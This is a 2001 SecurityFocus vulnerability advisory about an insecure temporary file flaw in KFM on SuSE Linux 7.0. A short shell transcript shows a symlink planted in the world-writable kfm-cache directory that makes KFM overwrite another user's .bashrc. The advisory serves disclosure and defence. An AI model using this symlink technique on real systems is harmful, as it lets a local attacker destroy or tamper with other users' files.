KFM Insecure TMP File Creation Vulnerability

Bugtraq ID:	2629
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Apr 18 2001 12:00AM
Updated:	Apr 18 2001 12:00AM
Credit:	This vulnerability was announced to Bugtraq by Paul Starzetz <[email protected]> on April 18, 2001.
Vulnerable:	SuSE Linux 7.0 sparc SuSE Linux 7.0 ppc SuSE Linux 7.0 alpha SuSE Linux 7.0
Not Vulnerable:

KFM Insecure TMP File Creation Vulnerability

root@ps:/tmp/kfm-cache-500 > ls -la
drwxrwxrwx 2 rws uboot 4096 Apr 18 21:18 .
drwxrwxrwt 15 root root 770048 Apr 18 21:16 ..
lrwxrwxrwx 1 rws uboot 18 Apr 18 21:18 index.html ->
/home/paul/.bashrc
-rw-r--r-- 1 rws uboot 0 Apr 18 21:16 index.txt

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 1458 Jan 23 13:56
/home/paul/.bashrc


and after running kfm as user 500:

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 271 Apr 18 21:19
/home/paul/.bashrc

KFM Insecure TMP File Creation Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

KFM Insecure TMP File Creation Vulnerability

References: